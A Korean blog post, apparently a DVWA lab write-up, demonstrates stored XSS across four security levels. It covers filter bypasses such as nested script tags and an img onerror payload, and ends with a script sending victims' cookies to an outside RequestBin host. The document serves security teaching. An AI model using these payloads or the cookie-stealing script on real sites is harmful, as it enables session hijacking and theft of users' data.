Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Practice/DVWA

[DVWA] XSS (Stored)

Gearvirus(junyup2) 2024. 4. 17. 13:56

Vulnerability:XSS (Stored)

XSS ์ทจ์•ฝ์ ์€ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์„ HTML์—์„œ ์ถœ๋ ฅํ•˜๋Š” ๋ถ€๋ถ„์—์„œ ๋ฐœ์ƒํ•œ๋‹ค. ๋ณธ ์‹ค์Šต์—์„œ๋Š” ์•ž์—์„œ ๋‹ค๋ฃฌ DVWA Reflected XSS ์ทจ์•ฝ์ (์ž…๋ ฅ ๊ฐ’์ด ๋ฐ˜์‚ฌ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ์— ๋Œ€ํ•œ XSS)์™€ ๋‹ฌ๋ฆฌ ๊ณต๊ฒฉ์˜ ๊ฒฐ๊ณผ๊ฐ€ ์„œ๋ฒ„์— ๋‚จ๊ธฐ ๋•Œ๋ฌธ์— ํ›จ์”ฌ ์œ„ํ—˜ํ•œ ๊ณต๊ฒฉ์ธ Stored XSS์— ๋Œ€ํ•˜์—ฌ ๋‹ค๋ฃฌ๋‹ค. ์ฆ‰, ์ €์žฅ ๊ฐ€๋Šฅํ•œ XSS๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•œ๋‹ค.

DVWA XSS(Stored) ์‹ค์Šต

์‹ค์Šต ํ™˜๊ฒฝ
- Windows Docker๋ฅผ ์ด์šฉํ•œ DVWA
- Windows ํ™˜๊ฒฝ์˜ Burp Suite

ํ•ด๋‹น ์‹ค์Šต ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Name๊ณผ Message๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ์ž…๋ ฅ์ฐฝ์ด ์กด์žฌํ•˜๊ณ , ์ž…๋ ฅ์ฐฝ ์•„๋ž˜์˜ ์˜ˆ์‹œ๋ฅผ ๋ณด๋ฉด Name๊ณผ Message์˜ ์ •๋ณด๊ฐ€ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ž…๋ ฅ์ฐฝ์— ๋Œ€ํ•˜์—ฌ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์˜ HTML ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด Name(txtName)์˜ ๊ฒฝ์šฐ ์ž‘์„ฑ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€ ๊ธธ์ด(maxlength)๊ฐ€ 10์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ณ , Message(txtMessage)์˜ ๊ฒฝ์šฐ ์ž‘์„ฑ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€ ๊ธธ์ด(maxlength)๊ฐ€ 50์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ XSS์˜ ๊ฒฝ์šฐ ๊ธธ์ด๊ฐ€ 10~50 ๋ณด๋‹ค ๋งŽ์•„์งˆ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ Intercept๋ฅผ ํ†ตํ•ด ์‘๋‹ต ๋ณ€์กฐ๋ฅผ ํ•˜์—ฌ ์ตœ๋Œ€ ๊ธธ์ด๋ฅผ ๋Š˜๋ ค์ฃผ์–ด ๋” ๋งŽ์€ ์–‘์„ ์ž…๋ ฅ ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜์—ฌ ์ง„ํ–‰ํ•œ๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ตœ๋Œ€ ๊ธธ์ด๋ฅผ ๋Š˜๋ ค์ฃผ๋ฉด, ๊ฐ๊ฐ์˜ ์ œํ•œ์ด 100์œผ๋กœ ๋ฐ”๋€Œ์–ด์ง„ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

Security Level: Low

< ' " > ํ™•์ธํ•˜๊ธฐ

๋จผ์ € XSS ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด Name๊ณผ Message์— < ' " >๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

Low ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ ์ œ๋Œ€๋กœ๋œ ์กฐ์น˜๊ฐ€ ์ทจํ•ด์ง€์ง€ ์•Š์•„, ์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ < ' " >๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Sanitize message input
stripslashes( $message );

.์œ„์™€ ๊ฐ™์ด stripslashes๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋Š”๋ฐ ์ด๊ฒƒ์€ ์—ญ์Šฌ๋ž˜์‹œ(๏ผผ)๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ํ•จ์ˆ˜๋กœ์„œ, ์˜๋ฏธ๊ฐ€ ์—†๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

Script ์‚ฝ์ž…ํ•˜๊ธฐ

<script>alert(document.cookie);</script>

์œ„์˜ ์ฟ ํ‚ค(cookie)๊ฐ’์„ ์ถœ๋ ฅํ•˜๋Š” script๋ฅผ Name๊ณผ Message ์ž…๋ ฅ์— ๋„ฃ์–ด์ค€๋‹ค.

์œ„์™€ ๊ฐ™์ด ๋„ฃ์–ด์ค€ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์•Œ๋ฆผ์ฐฝ 2ํšŒ,์ฟ ํ‚ค๊ฐ’์ด ํฌํ•จ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ํ›„ ์œ„์™€ ๊ฐ™์ด ์ €์žฅ๋œ GeustBook์˜ ๊ฐ’์ด Name๊ณผ Message ๋ชจ๋‘ ๋น„์–ด์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

Low ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Name๊ณผ Message ๋ชจ๋‘์— XSS๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ์ด๋ฅผ Burp Suite๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ 2ํšŒ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: Medium

< ' " > ํ™•์ธํ•˜๊ธฐ

๋จผ์ € XSS ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด Name๊ณผ Message์— < ' " >๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Name์—์„œ๋Š” < ' " >๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์ง€๋งŒ Message์—์„œ๋Š” ์ง€์›Œ์ ธ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

์œ„์™€ ๊ฐ™์ด Name์—์„œ๋Š” <script>๋ผ๋Š” ๋ฌธ์ž์—ด๋งŒ ๊ณต๋ฐฑ๋ฌธ์ž๋กœ ์น˜ํ™˜ํ•˜๊ณ  ์žˆ๊ณ , Message์˜ ๊ฒฝ์šฐ์—๋Š” strip_tags๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ชจ๋“  <tag>๋ฅผ ์‚ญ์ œํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ < ' " >๊ฐ€ ํƒœ๊ทธ๋กœ ์ทจ๊ธ‰๋˜์–ด ์‚ญ์ œ๋œ ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Message์— ๋Œ€ํ•ด์„œ๋Š” XSS๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ , Name์— ๋Œ€ํ•ด์„œ๋งŒ XSS๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ํŒ๋‹จํ•˜๊ณ  ์ง„ํ–‰ํ•œ๋‹ค.

 

Script ์‚ฝ์ž…ํ•˜๊ธฐ

์œ„์˜ ์ฝ”๋“œ์—์„œ ์‚ดํŽด๋ดค๋“ฏ์ด <script>๋ฅผ ๊ณต๋ฐฑ๋ฌธ์ž๋กœ ์น˜ํ™˜ํ•˜๊ณ  ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ์œ„์™€ ๊ฐ™์ด ํŠน์ • ๋‹จ์–ด๋งŒ์„ ์น˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” ํ•ด๋‹น ๋ฌธ์ž ์‚ฌ์ด์— ํ•„ํ„ฐ๋ง ๋˜๋Š” ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

<script>  -> <scr<script>ipt>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ <script> ๊ฐ€ ๊ณต๋ฐฑ์ด ๋˜๋ฉด์„œ <scr ๊ณผ ipt> ๊ฐ€ ๋ถ™๊ฒŒ ๋˜์–ด <script> ๊ฐ€ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

<scr<script>ipt>alert(document.cookie);</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด script ํƒœ๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์•Œ๋ฆผ์ฐฝ์— ์ฟ ํ‚ค ๊ฐ’์ด ํฌํ•จ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ํ›„ ์ž…๋ ฅ๋œ Gusetbook์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด Name ๋ถ€๋ถ„์˜ script ํƒœ๊ทธ๋Š” ํ™œ์„ฑํ™” ๋˜์–ด์žˆ๊ณ , Message ๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ script๊ฐ€ ์‚ญ์ œ๋˜๊ณ  alert ๋ถ€๋ถ„๋งŒ ๋‚จ์•„์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: High

< ' " > ํ™•์ธํ•˜๊ธฐ

๋จผ์ € XSS ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด Name๊ณผ Message์— < ' " >๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

High ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Name์—์„œ๋Š” < ' " >๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์ง€๋งŒ Message์—์„œ๋Š” ์ง€์›Œ์ ธ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

์œ„์™€ ๊ฐ™์ด Name์—์„œ๋Š” PHP์˜ preg_replace() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ <*s*c*r*i*p*t ๊ทœ์น™์— ํ•ด๋‹นํ•˜๋Š” ๋ฌธ์ž์—ด์„ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š๊ณ  ์ œ๊ฑฐํ•ด๋ฒ„๋ฆฐ๋‹ค. 

์ฆ‰, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" ๋“ฑ์˜ ๋ฌธ์ž์—ด๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด์„ ์ œ๊ฑฐํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋•Œ๋ฌธ์— <script> ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ํ•˜์ง€๋งŒ script๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด <script> ํƒœ๊ทธ๋งŒ ์žˆ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค. 

(OWASP์˜ XSS ํ•„ํ„ฐ๋ง ์šฐํšŒ๋ฒ•(XSS Filter Evasion Cheat Sheet)์„ ์‚ดํŽด๋ณด๋ฉด ๋„ˆ๋ฌด๋‚˜ ๋งŽ์€ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.)

Message์˜ ๊ฒฝ์šฐ์—๋Š” strip_tags๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ชจ๋“  <tag>๋ฅผ ์‚ญ์ œํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ < ' " >๊ฐ€ ํƒœ๊ทธ๋กœ ์ทจ๊ธ‰๋˜์–ด ์‚ญ์ œ๋œ ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ Medium ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Message์— ๋Œ€ํ•ด์„œ๋Š” XSS๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

 

Script ์‚ฝ์ž…ํ•˜๊ธฐ

์—ฌ๊ธฐ์„œ๋Š” img ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์„ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค.

<img src=x onerror=alert(document.cookie);>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์•Œ๋ฆผ์ฐฝ์— ์ฟ ํ‚ค ๊ฐ’์ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ํ›„ Guestbook์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊นจ์ง„ image๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ Burp Suite๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด Name ๋ถ€๋ถ„์˜ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ , Message ๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ๋Š” ์ž…๋ ฅ๊ฐ’์ด ์‚ญ์ œ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๋˜ํ•œ ์œ„์™€ ๊ฐ™์ด src=x , ์ฆ‰ img ๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ์„ ์‹คํŒจํ–ˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Security Level: Impossible

< ' " > ํ™•์ธํ•˜๊ธฐ

๋จผ์ € XSS ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด < ' " > ๋ฅผ ์ž…๋ ฅํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด Name๊ณผ Message์— < ' " >๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

Impossible ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ Name๊ณผ Message ๋ชจ๋‘ HTML Entity๋กœ ๋ณ€ํ™˜๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Sanitize message input
$message = stripslashes( $message );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = htmlspecialchars( $name );

์œ„์™€ ๊ฐ™์ด htmlspecialchars๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž…๋ ฅ ๊ฐ’์„  HTML Entity๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค. ์ฆ‰, Impossible ๋ ˆ๋ฒจ์˜ ๊ฒฝ์šฐ XSS๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


Sanitize - PHP ํ•จ์ˆ˜

PHP์—์„œ ๋ฌธ์ž์—ด์„ ํ‘œ์‹œํ•  ๋•Œ, "(ํฐ ๋”ฐ์˜ดํ‘œ)์™€ '(์ž‘์€ ๋”ฐ์˜ดํ‘œ)๊ฐ€ ๋ฌธ์ž์—ด์— ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. DB์—์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ฌ ๋•Œ, ๋˜๋Š” ๋„ฃ์„ ๋•Œ ์ด๋Ÿฌํ•œ ์˜ค๋ฅ˜๋ฅผ ๋ฐฉ์ง€ํ•˜๊ณ ์ž addslashes์™€ stripslashes๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์‚ฌ์šฉ์‹œ, ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌ๋˜๋ฉฐ ์˜ค๋ฅ˜์—†์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

addslashes

addslashes๋Š” PHP์—์„œ ์—ญ์Šฌ๋ž˜์‹œ(๏ผผ)๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.
(ํŠน์ • ๋ฌธ์ž์—ด single quote ('), double quote ("), backslash (\), NUL (the NUL byte)๋“ฑ์„ (๏ผผ '), (๏ผผ "), (๏ผผ ๏ผผ) , (๏ผผ )๋กœ ๊ต์ฒดํ•œ๋‹ค.)

addslashes(string $string): string

stripslashes

stripslashes๋Š” PHP์—์„œ ์—ญ์Šฌ๋ž˜์‹œ(๏ผผ)๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.
(์ธ์šฉ๋œ ๋ฌธ์ž์—ด์„ ์ธ์šฉ ํ•ด์ œํ•œ๋‹ค.)

stripslashes ( string $string ) : string

์ด์Šค์ผ€์ดํ”„(escape)๊ฐ€ ํ•„์š”ํ•œ ์žฅ์†Œ (์˜ˆ : ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค)์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, stripslashes()๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.
ex) HTML ์–‘์‹์—์„œ ์ง์ ‘ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ

์—ญ์Šฌ๋ž˜์‹œ(๏ผผ)๊ฐ€ ์ œ๊ฑฐ ๋œ ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ('๏ผผ'๋Š” '๊ฐ€ ๋œ๋‹ค.) ์ด์ค‘ ์—ญ์Šฌ๋ž˜์‹œ (๏ผผ๏ผผ๏ผผ๏ผผ)๋Š” ๋‹จ์ผ ์—ญ์Šฌ๋ž˜์‹œ (๏ผผ๏ผผ)๋กœ ๋ฐ”๋€๋‹ค.

stripslashes()๋Š” ์žฌ๊ท€์ ์ด์ง€ ์•Š์œผ๋ฏ€๋กœ, ์ด ํ•จ์ˆ˜๋ฅผ ๋‹ค์ฐจ์› ๋ฐฐ์—ด์— ์ ์šฉํ•˜๋ ค๋ฉด ์žฌ๊ท€ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

strip_tags

strip_tags๋Š” ๋ฌธ์ž์—ด์—์„œ HTML ํƒœ๊ทธ์™€ PHP ํƒœ๊ทธ๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

strip_tags ( string $str [, string $allowable_tags ] )

allowable_tags๋กœ ์ œ๊ฑฐํ•˜์ง€ ์•Š์„ ํƒœ๊ทธ๋ฅผ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. (์˜ˆ์™ธ ์ฒ˜๋ฆฌ)

htmlspecialchars

ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ HTML Entity๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค.


๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

์œ„์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ํ…Œ์ŠคํŠธ ํ•ด๋ณผ ๊ฒƒ์ด๋‹ค. (Low ๋ ˆ๋ฒจ์—์„œ ์ง„ํ–‰ํ•˜์˜€๋‹ค.)

๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ๋Š” RequestBin์„ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค. ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ๋กœ ์ฟ ํ‚ค ๊ฐ’์„ ๋ณด๋‚ด๋„๋กํ•˜๋Š” script๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://en1ea7nmmqf85.x.pipedream.net/?cookie="+cookieData;
</script>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์œ„์™€ ๊ฐ™์ด Message ๋ถ€๋ถ„์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์›น์ƒ์—๋Š” ์•„๋ฌด๋Ÿฐ ๋ฉ”์‹œ์ง€๊ฐ€ ์ž…๋ ฅ๋˜์ง€ ์•Š์€ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค. ํ•˜์ง€๋งŒ ์ด๊ฒƒ์„ Burp Suite๋ฅผ ์ด์šฉํ•˜์—ฌ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ํ›„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฟ ํ‚ค ๊ฐ’์„ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  RequestBin์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฟ ํ‚ค ๊ฐ’์ด ์ „๋‹ฌ๋˜์–ด ์˜จ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด Stored XSS๋ฅผ ์ด์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ๊ธ€์— ์ ‘๊ทผํ•œ ์ด์šฉ์ž์˜ ์„ธ์…˜์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๊ณ , ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ‘์†ํ•˜์—ฌ ์ด์šฉ์ž์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.


XSS ๋Œ€์‘

